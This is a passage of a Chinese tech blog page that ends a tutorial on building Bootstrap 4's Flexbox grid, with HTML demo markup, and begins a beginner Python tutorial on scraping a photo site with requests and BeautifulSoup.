class="built_in">class</span>=<span class="string">"row"</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            <span class="number">1</span> <span class="keyword">of</span> <span class="number">3</span></span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            <span class="number">1</span> <span class="keyword">of</span> <span class="number">3</span></span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            <span class="number">1</span> <span class="keyword">of</span> <span class="number">3</span></span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line"></span><br><span class="line">&lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">&lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"container"</span>&gt;</span><br><span class="line">    &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"row"</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            <span class="number">1</span> <span class="keyword">of</span> <span class="number">3</span></span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs-6"</span>&gt;</span><br><span class="line">            <span class="number">2</span> <span class="keyword">of</span> <span class="number">3</span> (wider)</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            <span class="number">3</span> <span class="keyword">of</span> <span class="number">3</span></span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"row"</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            <span class="number">1</span> <span class="keyword">of</span> <span class="number">3</span></span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs-5"</span>&gt;</span><br><span class="line">            <span class="number">2</span> <span class="keyword">of</span> <span class="number">3</span> (wider)</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            <span class="number">3</span> <span class="keyword">of</span> <span class="number">3</span></span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">&lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">&lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"container"</span>&gt;</span><br><span class="line">    &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"row"</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            <span class="number">1</span> <span class="keyword">of</span> <span class="number">3</span></span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs-6"</span>&gt;</span><br><span class="line">            <span class="number">2</span> <span class="keyword">of</span> <span class="number">3</span> (wider)</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            <span class="number">3</span> <span class="keyword">of</span> <span class="number">3</span></span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"row"</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            <span class="number">1</span> <span class="keyword">of</span> <span class="number">3</span></span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs-5"</span>&gt;</span><br><span class="line">            <span class="number">2</span> <span class="keyword">of</span> <span class="number">3</span> (wider)</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            <span class="number">3</span> <span class="keyword">of</span> <span class="number">3</span></span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">&lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">&lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"container"</span>&gt;</span><br><span class="line">    &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"row flex-items-xs-top"</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> three columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> three columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> three columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"row flex-items-xs-middle"</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> three columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> three columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> three columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"row flex-items-xs-bottom"</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> three columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> three columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> three columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">&lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">&lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"container"</span>&gt;</span><br><span class="line">    &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"row flex-items-xs-left"</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs-4"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> two columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs-4"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> two columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"row flex-items-xs-center"</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs-4"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> two columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs-4"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> two columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"row flex-items-xs-right"</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs-4"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> two columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs-4"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> two columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"row flex-items-xs-around"</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs-4"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> two columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs-4"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> two columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"row flex-items-xs-between"</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs-4"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> two columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs-4"</span>&gt;</span><br><span class="line">            One <span class="keyword">of</span> two columns</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">&lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">&lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"container"</span>&gt;</span><br><span class="line">    &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"row"</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs flex-xs-unordered"</span>&gt;</span><br><span class="line">            First, <span class="keyword">but</span> unordered</span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs flex-xs-last"</span>&gt;</span><br><span class="line">            Second, <span class="keyword">but</span> <span class="keyword">last</span></span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">        &lt;<span class="keyword">div</span> <span class="built_in">class</span>=<span class="string">"col-xs flex-xs-first"</span>&gt;</span><br><span class="line">            Third, <span class="keyword">but</span> <span class="keyword">first</span></span><br><span class="line">        &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">    &lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">&lt;/<span class="keyword">div</span>&gt;</span><br><span class="line">&lt;style&gt;</span><br><span class="line">    .row &#123;</span><br><span class="line">        margin-top: <span class="number">1</span>rem;</span><br><span class="line">    &#125;</span><br><span class="line">    .row &gt; [<span class="built_in">class</span>^=<span class="string">"col-"</span>] &#123;</span><br><span class="line">        padding-top: <span class="number">.75</span>rem;</span><br><span class="line">        padding-bottom: <span class="number">.75</span>rem;</span><br><span class="line">        background-color: rgba(<span class="number">86</span>, <span class="number">61</span>, <span class="number">124</span>, <span class="number">0.15</span>);</span><br><span class="line">        border: <span class="number">1</span>px solid rgba(<span class="number">86</span>, <span class="number">61</span>, <span class="number">124</span>, <span class="number">0.2</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    .flex-items-xs-top, .flex-items-xs-<span class="keyword">middle</span>,.flex-items-xs-bottom &#123;</span><br><span class="line">        min-height: <span class="number">6</span>rem;</span><br><span class="line">        background-color: rgba(<span class="number">255</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0.1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&lt;/style&gt;</span><br><span class="line"></span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>我把官方实例拿过来测试一下。 结果如下所示 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ20161029-0.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ20161029-0-1024x819.png" alt="QQ20161029-0"></a> 恩，完美！ 至于这个布局的用法，那就去官方文档领悟吧，和之前的bootstrap栅格化布局有比较大的不同。 不过如果你看了实例之后，就会豁然开朗了。</p>
                  <h2 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h2>
                  <p>本用例代码已上传到 GitHub。 <a href="https://github.com/Germey/BootStrapFlex" target="_blank" rel="noopener">代码实例</a> 有兴趣的小伙伴可以下载测试。</p>
                  <h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2>
                  <p>本文讲解了利用抽取Bootstrap V4中的Flex布局方式以及用gulp重新编译Bootstrap的过程，希望对大家有帮助。</p>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
                  <span><a href="/authors/崔庆才" class="author" itemprop="url" rel="index">崔庆才</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-10-29 19:15:45" itemprop="dateCreated datePublished" datetime="2016-10-29T19:15:45+08:00">2016-10-29</time>
                </span>
                <span id="/3253.html" class="post-meta-item leancloud_visitors" data-flag-title="BootStrap4提取并编译Flexbox Grid系统" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>9.9k</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>9 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/3179.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> Python <i class="label-arrow"></i>
                  </a>
                  <a href="/3179.html" class="post-title-link" itemprop="url">小白爬虫第一弹之抓取妹子图</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <p>2018年12月11日 入口页面多了一个连接 早期图片 更新了处理过后的代码（删掉了早期图片的URL，大家可以自己尝试下载这个页面下的所有套图） 2017年8月30日：mzitu.com 更新了防盗链导致下载图片全部失效，已更新处理办法： scrapy 版本也已更新 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/mz01.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/mz01.png" alt=""></a> 2017年4月24日：用scrapy重写了一个mzitu的全站爬虫： <a href="http://cuiqingcai.com/4421.html">小白进阶之Scrapy第四篇（图片下载管道篇）</a> 2017年3月31号 更新 <a href="http://www.mzitu.com/all" target="_blank" rel="noopener">http://www.mzitu.com/all</a> 这个地址已经被站长屏蔽了。下面的代码没法使了哦！仅提供学习方法。 <strong>PS：更改了一个新手比较难理解的坑（切换目录的问题），大陆之外的小伙伴儿 需要翻墙，mzitu.com对大陆之外好像不可访问。倒数第四个代码块儿是 没有函数的脚本写法，看函数有困难的小伙伴儿，可以先看看这个。</strong> 这是一篇完全给新手写的爬虫教程、也是我第一次写博文···也不知道怎么写（我也是个菜鸟啊！各路大神拍砖轻点儿啊！）<a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161021223818.jpg" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161021223818.jpg" alt="QQ图片20161021223818"></a>由于经常在群里装逼加上群主懒啊（你看有多久没更新文章就知道了），让我来一篇爬虫的教程。<a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161021224219.gif" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161021224219.gif" alt="QQ图片20161021224219"></a>如此装逼机会怎么能错过，今天我来给大家来一篇基础爬虫教程。 你要问目标是啥？ 要知道XX才是学习最大的动力啊！所以目标就是 <a href="http://www.mzitu.com" target="_blank" rel="noopener">mzitu.com</a> , <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161021224731.gif" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161021224731.gif" alt="QQ图片20161021224731"></a>（废话真多还不开始） ， 下面请各位跟我的教程一步一步走，喂！！说的就是你啊！别看着了，照着教程做啊！<a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/9555112.jpg" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/9555112-300x212.jpg" alt="9555112"></a> <strong>1、基础环境部分：</strong> 工欲其事必先利器，要想把心爱的妹子搬进你的给她准备的房子，总得有几把斧子才行啊！下面这就是几把斧子！ <strong>1.1：Python基础运行环境：本篇教程采用Python3 来写，所以你需要给你的电脑装上Python3才行，我就说说Windows的环境（会玩Linux的各位应该不需要我多此一举了）。</strong> <strong>anaconda （<a href="https://www.continuum.io/downloads" target="_blank" rel="noopener">点我下载</a>）（这是一个Python的科学计算发行版本，作者打包好多好多的包， <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161021230903.jpg" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161021230903.jpg" alt="QQ图片20161021230903"></a>不知道干啥的没关系，你只需要知道拥有它之后，那些Windows下pip安装包报错的问题将不复存在）</strong> 下载不顺利的同学我已经传到百度云了：<a href="http://pan.baidu.com/s/1boAYaTL" target="_blank" rel="noopener">http://pan.baidu.com/s/1boAYaTL</a> <strong>1.2：Requests</strong> urllib的升级版本打包了全部功能并简化了使用方法（<a href="http://docs.python-requests.org/zh_CN/latest/user/quickstart.html" target="_blank" rel="noopener">点我查看官方文档</a>） <strong>1.3： beautifulsoup</strong> 是一个可以从HTML或XML文件中提取数据的Python库.它能够通过你喜欢的转换器实现惯用的文档导航,查找,修改文档的方式.（<a href="http://beautifulsoup.readthedocs.io/zh_CN/v4.4.0/#" target="_blank" rel="noopener">点我查看官方文档</a>）（<a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161022193315.gif" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161022193315.gif" alt="QQ图片20161022193315"></a>作为一个菜鸟就别去装逼用 正则表达式了，匹配不到想要的内容，容易打击积极性。老老实实的用<strong>beautifulsoup</strong> 吧！虽然性能差了点、但是你会爱上它的。） <strong>1.4：LXML</strong> 一个HTML解析包 用于辅助beautifulsoup解析网页（如果你不用anaconda，你会发现这个包在Windows下pip安装报错，<a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161021230903.jpg" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161021230903.jpg" alt="QQ图片20161021230903"></a>用了就不会啦。）。 上面的模块需要 单独安装，下面几个就不用啦。 <strong>1.5： OS</strong> 系统内置模块 下面是ＩＤＥ　你喜欢用什么就用什么啦！ <strong>1.6： PyCharm</strong> 一个草鸡好用的PythonIDE工具 、真滴！草鸡好用··（<a href="https://www.jetbrains.com/pycharm/download/" target="_blank" rel="noopener">我是下载地址</a>）试用三十天 足够完成这个小爬虫啦。（如果你电脑已经存在Python环境 又需要使用anaconda的话，请按照下面的图设置一下哦！） <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161022200505.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161022200505.png" alt="QQ图片20161022200505"></a> 好啦、下面开始安装需要的模块。 因为我安装的是<strong>anaconda</strong>这个科学计算的发行版，安装方式是酱紫滴：conda install 包名（当然 pip install 包名也是可以的哦！）</p>
                  <figure class="highlight mipsasm">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">conda <span class="keyword">install </span>requests</span><br><span class="line">conda <span class="keyword">install </span><span class="keyword">beautifulsoup4</span></span><br><span class="line"><span class="keyword">conda </span><span class="keyword">install </span>lxml</span><br><span class="line">或者</span><br><span class="line">pip <span class="keyword">install </span>requests</span><br><span class="line">pip <span class="keyword">install </span><span class="keyword">beautifulsoup4</span></span><br><span class="line"><span class="keyword">pip </span><span class="keyword">install </span>lxml</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p><a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161022200031.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161022200031.png" alt="QQ图片20161022200031"></a> 大概界面就是上面的样子了。其余类似安装即可，好啦 下面开始正题了 首先我们打开PyCharm 新建一个Python文件，写入以下代码（喂喂！不要复制哦 自己敲一遍 印象更佳啦。）</p>
                  <figure class="highlight clean">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">import</span> requests ##导入requests</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup ##导入bs4中的BeautifulSoup</span><br><span class="line"><span class="keyword">import</span> os</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>好啦！准备工作完了、 我们来开始让妹子到碗里来吧ヽ(●-`Д´-)ノ 一个简单爬虫的诞生大慨需要下面几个步骤。（我知道图很简陋、请务必不要吐槽） <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ20161029-1.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ20161029-1-1024x354.png" alt="QQ20161029-1"></a></p>
                  <ul>
                    <li>爬虫入口：顾名思义我需要程序从什么地方开始获取网页</li>
                    <li>存储数据：如果获取的网页有你需要的内容则取出数据保存</li>
                    <li>找到资料所在的地址：如果你你获取到的网页没有你需要的数据、但是有前往该数据页面的地址URL、则获取这个地址URL，再获取该URL的页面内容（也就等于当作爬虫入口了）</li>
                  </ul>
                  <p>好啦！图很简陋、将就着看看，现在来开始看看网页找一个爬虫入口（开始爬取的页面） <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161023150410.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161023150410-1024x537.png" alt="QQ截图20161023150410"></a> 良心站长啊！居然有一个页面有整站所有的数据地址是<strong><a href="http://www.mzitu.com/all" target="_blank" rel="noopener">http://www.mzitu.com/all</a></strong> 我们就以这个页面开始爬取（PS：真良心站长） 下面是我们的第一段代码：用作获取<a href="http://www.mzitu.com/all这个页面。" target="_blank" rel="noopener">http://www.mzitu.com/all这个页面。</a></p>
                  <figure class="highlight clean">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">import</span> requests ##导入requests</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup ##导入bs4中的BeautifulSoup</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">headers = &#123;<span class="string">'User-Agent'</span>:<span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"</span>&#125;##浏览器请求头（大部分网站没有这个请求头会报错、请务必加上哦）</span><br><span class="line">all_url = <span class="string">'http://www.mzitu.com/all'</span>  ##开始的URL地址</span><br><span class="line">start_html = requests.get(all_url,  headers=headers)  ##使用requests中的get方法来获取all_url(就是：http:<span class="comment">//www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释</span></span><br><span class="line">print(start_html.text) ##打印出start_html (请注意，concent是二进制的数据，一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>PS: 如果对requests.get(all_url, headers=headers)感到不解的各位，请务必去再看一遍官方文档哦（解释得很清楚呢） 你在你的IDE中运行的时候会打印出下面的内容： <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161024203912.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161024203912-1024x559.png" alt="QQ截图20161024203912"></a> 第一段部分完成啦！！是不感觉超简单！！！！看懂没？没看懂继续瞅瞅、对于看懂的各位小哥儿（妹儿）我只想说··· 小哥儿（妹儿）！你老牛逼了！！ 没看懂？报错？没关系！看见屏幕右边那个群号没？加它！热心的群友会为你耐心解答滴············ 好啦！第一部分获取网页的部分完成啦！我们来开始第二部分提取我们想要的内容吧！！ 在Chrome中打开我们第一部分请求的网址：<a href="http://www.mzitu.com/all" target="_blank" rel="noopener">http://www.mzitu.com/all</a> 、 按下F12 调出Chrome的开发者调试工具（不熟练的同学一定要去了解一下哦！爬虫中绝大部分工作要靠这个来完成呢！是必备技能哦！） 是这样： <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161024205256.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161024205256-1024x559.png" alt="QQ截图20161024205256"></a> 看见图中那句话没？没看见？仔细看看那可是我们必须要使用的工具哦！！好啦下面我们看看使用方法 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161025222942.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161025222942-1024x559.png" alt="QQ图片20161025222942"></a> 好啦、我们就是通过这种方法来找到我们需要的数据在那一个标签里面的、方便后面提取出来啦！（实例很简陋 看不懂的童鞋百度一下啦！教程很多的） 你会发现这个页面并没有我们需要的图片地址啊！没有那么怎么办呢？上面那张超级简陋的流程图看了嘛？没看？赶快去瞅瞅·· 你就知道我们该干啥啦！ 嗯，我们需要找到图片地址所在的页面！ <a 